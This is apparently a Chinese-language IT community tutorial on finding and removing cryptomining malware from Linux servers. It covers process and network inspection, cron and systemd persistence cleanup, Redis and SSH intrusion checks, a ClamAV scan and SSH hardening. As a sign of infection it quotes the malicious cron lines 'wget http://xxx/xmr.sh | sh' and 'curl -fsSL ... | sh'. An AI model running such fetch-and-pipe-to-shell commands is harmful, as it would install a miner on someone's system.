当前位置:网站首页 >  攻略

Linux服务器挖矿病毒彻底查杀与系统加固实操指南

时间:2026年06月05日 20:08:29 来源:易频IT社区

一、 紧急排查:快速定位异常进程

服务器感染挖矿病毒最明显的特征是CPU使用率飙升。我们需要登录服务器执行命令查看当前资源占用情况。请直接执行以下命令:

```bash top ```

在输出的列表中,重点关注%CPU这一列。如果发现某个进程(通常名称伪装成系统进程,如 kdevtmpfsikinsingxmrigsync 等)长期占用100%或接近100%的CPU,且PID(进程ID)不断变化,这极大概率就是挖矿病毒。

记录下该异常进程的PID。为了更清晰地查看进程树,找到父进程,建议执行:

```bash pstree -p | grep [异常进程名称] ```

或者使用 ps 命令查看详细信息:

```bash ps -ef | grep [异常进程名称] ```

二、 深度溯源:锁定病毒文件与网络连接

找到异常PID后,不要急着直接杀掉进程,因为很多挖矿病毒存在守护进程,杀掉后会立即重启。我们需要先找到病毒实体文件和隐藏的恶意脚本。

执行以下命令查看进程对应的可执行文件路径:

```bash ls -l /proc/[异常PID]/exe ```

输出结果中箭头指向的路径即为病毒文件位置,例如 /tmp/kdevtmpfsi。请记录下这个完整路径。

接下来,查看该进程打开的网络连接,确认矿池连接地址:

```bash netstat -antp | grep [异常PID] ```

或者使用 ss 命令(推荐):

```bash ss -antp | grep [异常PID] ```

这会显示出病毒连接的远程IP和端口,通常是国外的矿池地址。

三、 隔离处理:冻结进程与解除文件保护

为了防止病毒在清理过程中再次写入文件或执行脚本,我们需要先冻结进程,而不是直接杀死。执行:

```bash kill -stop [异常PID] ```

如果存在父进程(PPID),同样需要冻结:

```bash kill -stop [异常PPID] ```

很多挖矿病毒会使用 chattr 命令给病毒文件加上 +i(不可变)属性,导致直接 rm -f 无法删除。我们需要先尝试解除这个属性。进入病毒文件所在目录,执行:

```bash chattr -i [病毒文件名] chattr -a [病毒文件名] ```

如果提示 chattr: Operation not permitted,说明当前权限不够,请使用 sudo 或切换到 root 用户执行。

四、 彻底清除:删除文件与清理定时任务

解除保护后,强制删除病毒可执行文件:

```bash rm -f [病毒文件完整路径] ```

接下来是最关键的一步:清理定时任务(Cron)。挖矿病毒通常通过Cron任务实现持久化,每分钟重新下载和运行病毒。必须检查所有用户的定时任务。

1. 检查当前用户的定时任务:

```bash crontab -l ```

2. 检查系统级定时任务目录(这是重灾区,必须逐个检查):

```bash cat /etc/crontab ls /etc/cron.d/ ```

使用 cat 命令查看 /etc/cron.d/ 目录下的每一个文件内容:

```bash cat /etc/cron.d/[文件名] ```

Linux服务器挖矿病毒彻底查杀与系统加固实操指南

如果看到类似 wget http://xxx/xmr.sh | sh 或者 curl -fsSL http://xxx/xmr.sh | sh 的内容,这就是恶意下载脚本。使用 vi 或直接删除该文件:

```bash rm -f /etc/cron.d/[恶意文件名] ```

3. 同样需要检查 /var/spool/cron//etc/cron.hourly/ 等目录:

```bash ls /var/spool/cron/ cat /var/spool/cron/[用户名] ls /etc/cron.hourly/ ```

4. 清理恶意脚本文件。根据定时任务中找到的URL或路径,找到下载下来的脚本(通常在 /tmp//var/tmp//root/ 下),一并删除。

五、 排查启动项与入侵源头

除了定时任务,病毒还可能修改系统启动项。检查 /etc/rc.local 文件:

```bash cat /etc/rc.local ```

如果有未知的执行命令,使用 vi 编辑器删除该行。

检查 systemd 服务列表:

```bash systemctl list-unit-files | grep enabled ```

寻找名称可疑的服务(如 crypto.serviceminer.service)。如果发现,执行以下命令禁用并删除:

```bash systemctl stop [可疑服务名] systemctl disable [可疑服务名] rm -f /etc/systemd/system/[可疑服务名].service systemctl daemon-reload ```

排查入侵源头。挖矿病毒通常通过Redis未授权访问或SSH弱口令入侵。检查SSH日志:

```bash grep "Failed password" /var/log/secure | tail -n 20 ```

检查Redis是否暴露在公网且无密码:

```bash netstat -antp | grep 6379 ```

如果Redis监听在 0.0.0.0:6379,必须立即配置防火墙规则限制访问,或修改 redis.conf 绑定本地IP并设置强密码。

六、 全面杀毒与系统加固

手动清理后,建议安装杀毒软件进行全盘扫描,确保没有遗漏。这里使用 ClamAV,它是Linux下开源的反病毒引擎。

1. 安装 ClamAV:

```bash CentOS/RHEL yum install epel-release -y yum install clamav clamav-update -y Ubuntu/Debian apt-get update apt-get install clamav clamav-daemon -y ```

2. 更新病毒库:

```bash freshclam ```

3. 执行全盘扫描(扫描根目录,并记录感染文件到日志):

```bash clamscan -r / --infected -l /var/log/clamav-scan.log ```

扫描完成后,查看日志:

```bash cat /var/log/clamav-scan.log ```

进行系统加固。修改SSH默认端口(不建议使用22),并禁止Root直接远程登录。

编辑SSH配置文件:

```bash vi /etc/ssh/sshd_config ```

修改以下参数:

```text Port 22222 修改为高位端口 PermitRootLogin no 禁止root登录 PasswordAuthentication no 建议配置密钥登录后关闭密码登录 ```

重启SSH服务:

```bash systemctl restart sshd ```

至此,服务器挖矿病毒的查杀与系统加固工作已全部完成。请持续观察服务器CPU占用情况,确保病毒已被彻底清除。

相关推荐

最新

热门

推荐

精选

标签

易频IT社区是综合性互联网IT技术门户网站,专注分享网络技术、服务器运维、网络安全、编程开发、系统架构、云计算、大数据等行业干货,实时更新IT行业资讯、零基础教程、实战案例,为IT从业者、技术爱好者提供专业的学习交流平台。

Copyright © 2021-2026 易频IT社区. All Rights Reserved. 备案号:闽ICP备2023013482号 网站地图